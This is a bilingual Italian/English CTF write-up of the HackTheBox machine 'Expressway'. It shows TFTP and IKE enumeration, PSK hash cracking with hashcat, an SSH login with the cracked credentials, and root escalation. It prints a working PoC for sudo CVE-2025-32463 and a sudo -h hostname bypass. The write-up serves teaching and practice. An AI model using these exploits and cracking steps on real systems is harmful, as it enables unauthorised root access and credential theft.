Expressway
Foothold
Si mappa l’IP della macchina con l’hostname expressway.htb nel file /etc/hosts.
Si lancia nmap sulle porte TCP e risulta aperta solo la porta 22. A questo punto si prova una scansione UDP sulle prime 25 porte più comuni e dalle informazioni recuperate si ottiene
kali@0xPR3ST1JH0NN7:~$ sudo nmap -sC -sU --top-ports 25 -vv expressway.htb
[...]
PORT STATE SERVICE REASON
53/udp closed domain port-unreach ttl 63
67/udp closed dhcps port-unreach ttl 63
68/udp open|filtered dhcpc no-response
69/udp open tftp script-set
| tftp-version:
| cpe:
| cpe:/a:netkit:netkit
| cpe:/a:lefebvre:atftpd
|_ p: Netkit tftpd or atftpd
111/udp closed rpcbind port-unreach ttl 63
[...]
500/udp open isakmp udp-response ttl 63
| ike-version:
| attributes:
| XAUTH
|_ Dead Peer Detection v1.0
514/udp closed syslog port-unreach ttl 63
[...]
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 15:45
Completed NSE at 15:45, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 15:45
Completed NSE at 15:45, 0.00s elapsed
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 89.57 seconds
Raw packets sent: 227 (13.674KB) | Rcvd: 50 (4.282KB)
Le porte aperte risultano essere la 69 TFTP e la 500 ISAKMP.
Si prova con il servizio TFTP, acronimo di Trivial File Transfer Protocol, un protocollo di rete semplice e leggero pensato per il trasferimento di file. Eseguendo uno script di nmap specifico per l’enumerazione di tftp, si scopre l’esistenza di un file ciscortr.cfg.
kali@0xPR3ST1JH0NN7:~$ sudo nmap -sU -p 69 --script tftp-enum expressway.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-06 15:58 CEST
Stats: 0:00:30 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
Nmap scan report for expressway.htb (10.10.11.87)
Host is up (0.053s latency).
PORT STATE SERVICE
69/udp open tftp
| tftp-enum:
|_ ciscortr.cfg
Nmap done: 1 IP address (1 host up) scanned in 44.35 seconds
Si esegue anche il modulo ausiliario di metasploit scanner/tftp/tftpbrute
msf auxiliary(scanner/tftp/tftpbrute) > options
Module options (auxiliary/scanner/tftp/tftpbrute):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
DICTIONARY /usr/share/metasploit-framewor yes The list of filenames
k/data/wordlists/tftp.txt
RHOSTS yes The target host(s), see https://docs.metasploit.com/d
ocs/using-metasploit/basics/using-metasploit.html
RPORT 69 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
View the full module info with the info, or info -d command.
msf auxiliary(scanner/tftp/tftpbrute) > set RHOSTS expressway.htb
RHOSTS => expressway.htb
msf auxiliary(scanner/tftp/tftpbrute) > run
[+] Found ciscortr.cfg on 10.10.11.87
[+] Found default.bin on 10.10.11.87
[+] Found lync.cfg on 10.10.11.87
[+] Found video-integration.cfg on 10.10.11.87
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Il file effettivamente disponibile è ciscortr.cfg, mentre gli altri sono falsi positivi.
All’interno di questo file sono contenute diverse informazioni e la più rilevante è un username (che potrebbe appartenere a un utente locale della macchina)
username ike password *****
L’analisi si è poi concentrata sul servizio ISAKMP in ascolto sulla porta 500. È stato eseguito un ike-scan in Aggressive Mode con l’obiettivo di verificare se il server supportasse tale configurazione e potesse, di conseguenza, restituire dati utili al recupero delle credenziali.
kali@0xPR3ST1JH0NN7:~$ sudo ike-scan -A expressway.htb
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Aggressive Mode Handshake returned HDR=(CKY-R=74af0fb9c18517a6) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=[email protected]) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)
Ending ike-scan 1.9.6: 1 hosts scanned in 0.277 seconds (3.61 hosts/sec). 1 returned handshake; 0 returned notify
Dall’analisi della risposta emerge chiaramente l’utilizzo di algoritmi deboli, tra cui 3DES e SHA1, affiancati a una modalità di autenticazione tramite PSK. Tra le varie informazioni recuperate figura anche l’ID [email protected], un dato estremamente utile per il prosieguo delle operazioni.
Eseguendo lo stesso comando con l’aggiunta del parametro -P il server elabora le proposte e, al completamento dell’handshake, produce un output dedicato ai parametri IKE PSK. Questa stringa racchiude e concatena tutti i campi pubblici scambiati durante la comunicazione in Aggressive Mode. L’ottenimento di questi dati in chiaro costituisce il presupposto essenziale per la compromissione dell’accesso, fornendo di fatto il materiale crittografico necessario per ricostruire l’hash e procedere con il cracking offline della PSK.
kali@0xPR3ST1JH0NN7:~$ ike-scan -A -Ppsk.txt expressway.htb
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Aggressive Mode Handshake returned HDR=(CKY-R=22ad962678c7ae5b) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=[email protected]) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)
Ending ike-scan 1.9.6: 1 hosts scanned in 0.088 seconds (11.38 hosts/sec). 1 returned handshake; 0 returned notify
All’interno del file di testo risultante si trova l’hash composito, salvato e pronto per la fase di attacco a dizionario.
kali@0xPR3ST1JH0NN7:~$ cat psk.txt
d23eed9e20ad2cc77d7d26503913843a5eb16fec948a105b352ca7267bb4f3df291013bb8e814662dfb83b27ccbfb256d6cfe7a0eca13e5be6f1e477568b9b9d0739cc2cf7de677506977785ed4273e73a9921161ee6519642122ef0f9adf3219cf6b0763bc89cec866970ea09d8b6637277ccbe7ec4c60a8d991ac8909d9d3c:a1dd89d78fa8a408ae673d629102b287e0485a3a2e4d8f677a110db37fb6db88df59bc35fa9b44d5c072c7de117945051a6e49f449bd8464a527923d32d37db4418edb60652c221312ac88f75eaa19d6beab55e8eaee1af8e6e9efa23358bbc12ade25d86a0e0c82c1ad1996b78095a4d3bb2599399461fc2c04150f2a3fd9ff:22ad962678c7ae5b:d40bda560f026f79:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:91b3419449cc8ecabb5204f8c2615b246b8e004f:56b7eeadf62ab4727b4927b1a35346697fd360c84e78e7e659e5587fa9c59427:4ee76074f1d3f57b74f7655de70a3466393c20de
A questo punto si procede con l’utilizzo di Hashcat per lanciare un attacco a dizionario contro l’hash ottenuto, con l’obiettivo di risalire alla password in chiaro impiegata come chiave per le derivazioni crittografiche dei parametri pubblici.
kali@0xPR3ST1JH0NN7:~$ hashcat psk.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
OpenCL API (OpenCL 3.0 ) - Platform #1 [Intel(R) Corporation]
=============================================================
* Device #01: Intel(R) Iris(R) Xe Graphics, 3548/7096 MB (1774 MB allocatable), 8MCU
[...]:freakingrockstarontheroad
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5400 (IKE-PSK SHA1)
Hash.Target......: d23eed9e20ad2cc77d7d26503913843a5eb16fec948a105b352...3c20de
Time.Started.....: Tue Oct 07 11:22:10 2025 (2 secs)
Time.Estimated...: Tue Oct 07 11:22:12 2025 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
[...]
Started: Tue Oct 07 11:21:12 2025
Stopped: Tue Oct 07 11:22:12 2025
Le credenziali ottenute sono ike:freakingrockstarontheroad.
Per verificare un eventuale riutilizzo delle credenziali, si tenta l’accesso tramite SSH con l’account appena recuperato.
kali@0xPR3ST1JH0NN7:~$ ssh [email protected]
The authenticity of host 'expressway.htb (10.10.11.87)' can't be established.
ED25519 key fingerprint is SHA256:fZLjHktV7oXzFz9v3ylWFE4BS9rECyxSHdlLrfxRM8g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'expressway.htb' (ED25519) to the list of known hosts.
[email protected]'s password:
Last login: Tue Oct 7 09:48:45 BST 2025 from 10.10.14.50 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct 7 10:22:57 2025 from 10.10.14.147
ike@expressway:~$
Foothold ottenuto e si prende la flag user.txt.
Privilege Escalation
Soluzione 1
L’esecuzione dello script linpeas.sh sul sistema target rileva la presenza di una versione obsoleta di sudo (1.9.17). Questa specifica release è affetta dalla CVE-2025-32463, una nota falla che consente di effettuare una Privilege Escalation (PE).
╔══════════╣ Sudo version
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version
Sudo version 1.9.17
La vulnerabilità consente agli utenti non privilegiati di richiamare chroot() su percorsi scrivibili e non attendibili sotto il loro controllo, che poi Sudo esegue con i privilegi di root.
La PoC dell’exploit viene presentata qui di seguito ed è resa pubblica qui.
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
Si crea lo script e lo si esegue, ottenendo il seguente risultato.
ike@expressway:/tmp$ ./exploit.sh
woot!
root@expressway:/# id
uid=0(root) gid=0(root) groups=0(root),13(proxy),1001(ike)
Shell ottenuta. Ora si prende e si invia la flag root.txt.
Soluzione 2
Eseguendo il seguente comando si ottiene una risposta diversa da quella attesa, al posto del solito messaggio “not in sudoers”, si ha
ike@expressway:~$ sudo -l
[sudo] password for ike: <redacted>
Sorry, user ike may not run sudo on expressway.
Questo potrebbe far pensare che viene utilizzata una versione di sudo custom.
Per confermare l’effettivo impiego di una variante custom di sudo si esegue un controllo sul percorso dell’eseguibile.
ike@expressway:~$ which sudo
/usr/local/bin/sudo
L’output certifica la presenza di un binario SUID root personalizzato e situato al di fuori dei percorsi di sistema standard. Successivamente, notando che l’account compromesso fa parte del gruppo proxy, l’indagine si sposta sulla revisione dei file di log, focalizzandosi in modo specifico sulle tracce lasciate dal servizio Squid.
ike@expressway:~$ ls -l /var/log/squid
-rw-r--r-- 1 proxy proxy 4778 Jul 23 01:19 access.log.1
ike@expressway:~$ cat /var/log/squid/access.log.1
...
1753229688.902 0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html
...
Dall’analisi dei log emerge chiaramente un sottodominio interno denominato offramp.expressway.htb. Considerando la natura personalizzata dell’eseguibile sudo, si ipotizza una debolezza architetturale legata a policy di autorizzazione basate in modo insicuro sull’hostname.
Per verificare tale vulnerabilità si esegue il comando sudo includendo il flag -h per impersonare il sottodominio attendibile appena scoperto.
ike@expressway:/tmp$ /usr/local/bin/sudo -h offramp.expressway.htb -i
root@expressway:~#
Shell ottenuta. Ora si prende e si invia la flag root.txt.
Foothold
First we map the machine’s IP to the hostname expressway.htb in the /etc/hosts file.
We run nmap on the TCP ports and only port 22 turns out to be open. At this point we try a UDP scan against the top 25 ports and from the information retrieved we get
kali@0xPR3ST1JH0NN7:~$ sudo nmap -sC -sU --top-ports 25 -vv expressway.htb
[...]
PORT STATE SERVICE REASON
53/udp closed domain port-unreach ttl 63
67/udp closed dhcps port-unreach ttl 63
68/udp open|filtered dhcpc no-response
69/udp open tftp script-set
| tftp-version:
| cpe:
| cpe:/a:netkit:netkit
| cpe:/a:lefebvre:atftpd
|_ p: Netkit tftpd or atftpd
111/udp closed rpcbind port-unreach ttl 63
[...]
500/udp open isakmp udp-response ttl 63
| ike-version:
| attributes:
| XAUTH
|_ Dead Peer Detection v1.0
514/udp closed syslog port-unreach ttl 63
[...]
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 15:45
Completed NSE at 15:45, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 15:45
Completed NSE at 15:45, 0.00s elapsed
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 89.57 seconds
Raw packets sent: 227 (13.674KB) | Rcvd: 50 (4.282KB)
The open ports turn out to be 69 TFTP and 500 ISAKMP.
We try the TFTP service, short for Trivial File Transfer Protocol, which is a simple and lightweight network protocol for transferring files. By running a specific nmap script to enumerate TFTP, we discover the existence of a file ciscortr.cfg.
kali@0xPR3ST1JH0NN7:~$ sudo nmap -sU -p 69 --script tftp-enum expressway.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-06 15:58 CEST
Stats: 0:00:30 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
Nmap scan report for expressway.htb (10.10.11.87)
Host is up (0.053s latency).
PORT STATE SERVICE
69/udp open tftp
| tftp-enum:
|_ ciscortr.cfg
Nmap done: 1 IP address (1 host up) scanned in 44.35 seconds
We also run the metasploit auxiliary module scanner/tftp/tftpbrute
msf auxiliary(scanner/tftp/tftpbrute) > options
Module options (auxiliary/scanner/tftp/tftpbrute):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
DICTIONARY /usr/share/metasploit-framewor yes The list of filenames
k/data/wordlists/tftp.txt
RHOSTS yes The target host(s), see https://docs.metasploit.com/d
ocs/using-metasploit/basics/using-metasploit.html
RPORT 69 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
View the full module info with the info, or info -d command.
msf auxiliary(scanner/tftp/tftpbrute) > set RHOSTS expressway.htb
RHOSTS => expressway.htb
msf auxiliary(scanner/tftp/tftpbrute) > run
[+] Found ciscortr.cfg on 10.10.11.87
[+] Found default.bin on 10.10.11.87
[+] Found lync.cfg on 10.10.11.87
[+] Found video-integration.cfg on 10.10.11.87
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
The file that is actually available is ciscortr.cfg, while the others are false positives.
This file contains various pieces of information and the most relevant is a username (which may belong to a local user on the machine)
username ike password *****
We then turn our attention to the ISAKMP service listening on port 500. We run an ike-scan in Aggressive Mode to check whether the server supports that configuration and can therefore return data useful for recovering the credentials.
kali@0xPR3ST1JH0NN7:~$ sudo ike-scan -A expressway.htb
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Aggressive Mode Handshake returned HDR=(CKY-R=74af0fb9c18517a6) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=[email protected]) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)
Ending ike-scan 1.9.6: 1 hosts scanned in 0.277 seconds (3.61 hosts/sec). 1 returned handshake; 0 returned notify
From the response we can clearly see the use of weak algorithms, including 3DES and SHA1, paired with a PSK authentication mode. Among the various pieces of information recovered is the ID [email protected], an extremely useful detail for the rest of the operations.
Running the same command with the added -P parameter, the server processes the proposals and, once the handshake completes, produces an output dedicated to the IKE PSK parameters. This string wraps and concatenates all the public fields exchanged during the Aggressive Mode communication. Obtaining this data in plaintext is the essential precondition for compromising access, effectively providing the cryptographic material needed to reconstruct the hash and carry out the offline cracking of the PSK.
kali@0xPR3ST1JH0NN7:~$ ike-scan -A -Ppsk.txt expressway.htb
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Aggressive Mode Handshake returned HDR=(CKY-R=22ad962678c7ae5b) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=[email protected]) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)
Ending ike-scan 1.9.6: 1 hosts scanned in 0.088 seconds (11.38 hosts/sec). 1 returned handshake; 0 returned notify
Inside the resulting text file we find the composite hash, saved and ready for the dictionary attack stage.
kali@0xPR3ST1JH0NN7:~$ cat psk.txt
d23eed9e20ad2cc77d7d26503913843a5eb16fec948a105b352ca7267bb4f3df291013bb8e814662dfb83b27ccbfb256d6cfe7a0eca13e5be6f1e477568b9b9d0739cc2cf7de677506977785ed4273e73a9921161ee6519642122ef0f9adf3219cf6b0763bc89cec866970ea09d8b6637277ccbe7ec4c60a8d991ac8909d9d3c:a1dd89d78fa8a408ae673d629102b287e0485a3a2e4d8f677a110db37fb6db88df59bc35fa9b44d5c072c7de117945051a6e49f449bd8464a527923d32d37db4418edb60652c221312ac88f75eaa19d6beab55e8eaee1af8e6e9efa23358bbc12ade25d86a0e0c82c1ad1996b78095a4d3bb2599399461fc2c04150f2a3fd9ff:22ad962678c7ae5b:d40bda560f026f79:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:91b3419449cc8ecabb5204f8c2615b246b8e004f:56b7eeadf62ab4727b4927b1a35346697fd360c84e78e7e659e5587fa9c59427:4ee76074f1d3f57b74f7655de70a3466393c20de
At this point we proceed to use Hashcat to launch a dictionary attack against the obtained hash, aiming to recover the plaintext password used as the key for the cryptographic derivations of the public parameters.
kali@0xPR3ST1JH0NN7:~$ hashcat psk.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
OpenCL API (OpenCL 3.0 ) - Platform #1 [Intel(R) Corporation]
=============================================================
* Device #01: Intel(R) Iris(R) Xe Graphics, 3548/7096 MB (1774 MB allocatable), 8MCU
[...]:freakingrockstarontheroad
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5400 (IKE-PSK SHA1)
Hash.Target......: d23eed9e20ad2cc77d7d26503913843a5eb16fec948a105b352...3c20de
Time.Started.....: Tue Oct 07 11:22:10 2025 (2 secs)
Time.Estimated...: Tue Oct 07 11:22:12 2025 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
[...]
Started: Tue Oct 07 11:21:12 2025
Stopped: Tue Oct 07 11:22:12 2025
The credentials obtained are ike:freakingrockstarontheroad.
To check for possible credential reuse, we try to log in over SSH with the account we just recovered.
kali@0xPR3ST1JH0NN7:~$ ssh [email protected]
The authenticity of host 'expressway.htb (10.10.11.87)' can't be established.
ED25519 key fingerprint is SHA256:fZLjHktV7oXzFz9v3ylWFE4BS9rECyxSHdlLrfxRM8g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'expressway.htb' (ED25519) to the list of known hosts.
[email protected]'s password:
Last login: Tue Oct 7 09:48:45 BST 2025 from 10.10.14.50 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct 7 10:22:57 2025 from 10.10.14.147
ike@expressway:~$
Foothold obtained and we grab the user.txt flag.
Privilege Escalation
Solution 1
Running the linpeas.sh script on the target system reveals the presence of an outdated version of sudo (1.9.17). This specific release is affected by CVE-2025-32463, a well known flaw that allows a Privilege Escalation (PE).
╔══════════╣ Sudo version
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version
Sudo version 1.9.17
The vulnerability allows unprivileged users to invoke chroot() on writable and untrusted paths under their control, which Sudo then executes with root privileges.
The exploit PoC is shown below and is publicly available here.
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
We create the script and run it, obtaining the following result.
ike@expressway:/tmp$ ./exploit.sh
woot!
root@expressway:/# id
uid=0(root) gid=0(root) groups=0(root),13(proxy),1001(ike)
Shell obtained. Now we grab and submit the root.txt flag.
Solution 2
Running the following command returns a response different from the expected one. In place of the usual “not in sudoers” message we get
ike@expressway:~$ sudo -l
[sudo] password for ike: <redacted>
Sorry, user ike may not run sudo on expressway.
This might suggest that a custom version of sudo is in use.
To confirm the actual use of a custom sudo variant, we check the path of the executable.
ike@expressway:~$ which sudo
/usr/local/bin/sudo
The output confirms the presence of a custom SUID root binary located outside the standard system paths. Next, noticing that the compromised account is part of the proxy group, the investigation moves to reviewing the log files, focusing specifically on the traces left by the Squid service.
ike@expressway:~$ ls -l /var/log/squid
-rw-r--r-- 1 proxy proxy 4778 Jul 23 01:19 access.log.1
ike@expressway:~$ cat /var/log/squid/access.log.1
...
1753229688.902 0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html
...
From the log analysis an internal subdomain named offramp.expressway.htb clearly emerges. Given the custom nature of the sudo executable, we hypothesize an architectural weakness tied to authorization policies that rely insecurely on the hostname.
To verify this vulnerability, we run the sudo command including the -h flag to impersonate the trusted subdomain we just discovered.
ike@expressway:/tmp$ /usr/local/bin/sudo -h offramp.expressway.htb -i
root@expressway:~#
Shell obtained. Now we grab and submit the root.txt flag.